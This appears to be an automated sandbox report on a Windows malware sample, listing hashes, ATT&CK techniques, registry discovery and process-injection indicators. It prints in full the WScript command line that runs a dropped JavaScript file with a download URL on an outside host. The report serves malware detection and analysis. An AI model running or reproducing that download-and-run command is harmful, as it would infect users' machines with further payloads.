b7f3a44e8b8afd5bb85782b9c1c875e313e75ce33eda1a40888c633bbd2b19e2

General

Target

d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe
Size

184KB
MD5

d56ed1c935a4f79012653b6539a7fd21
SHA1

498e0ee91e7196c1fdb16609099c58d99f2115ed
SHA256

b7f3a44e8b8afd5bb85782b9c1c875e313e75ce33eda1a40888c633bbd2b19e2
SHA512

68860ccadd3bfe46523f794e163db8575de8e5fb0b658f826dc409b0a83ae35adbb52ef9b2e8446ee73d9c45d1541e0bb529138851cc8d88218c5a16bd8eb27d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3j:/7BSH8zUB+nGESaaRvoB7FJNndnS

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
16	1032	WScript.exe
43	3952	WScript.exe
48	912	WScript.exe
49	912	WScript.exe
53	4452	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000_Classes\Local Settings	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4400 wrote to memory of 3844	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	86
PID 4400 wrote to memory of 3844	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	86
PID 4400 wrote to memory of 3844	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	86
PID 4400 wrote to memory of 1032	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	92
PID 4400 wrote to memory of 1032	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	92
PID 4400 wrote to memory of 1032	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	92
PID 4400 wrote to memory of 3952	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	99
PID 4400 wrote to memory of 3952	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	99
PID 4400 wrote to memory of 3952	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	99
PID 4400 wrote to memory of 912	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	101
PID 4400 wrote to memory of 912	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	101
PID 4400 wrote to memory of 912	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	101
PID 4400 wrote to memory of 4452	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	102
PID 4400 wrote to memory of 4452	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	102
PID 4400 wrote to memory of 4452	4400	d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\d56ed1c935a4f79012653b6539a7fd21_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4400
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf972F.js" http://www.djapp.info/?domain=kCnOhOvxHw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf972F.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3844
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf972F.js" http://www.djapp.info/?domain=kCnOhOvxHw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf972F.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:1032
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf972F.js" http://www.djapp.info/?domain=kCnOhOvxHw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf972F.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3952
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf972F.js" http://www.djapp.info/?domain=kCnOhOvxHw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf972F.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:912
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf972F.js" http://www.djapp.info/?domain=kCnOhOvxHw.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGL C:\Users\Admin\AppData\Local\Temp\fuf972F.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:4452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf972F.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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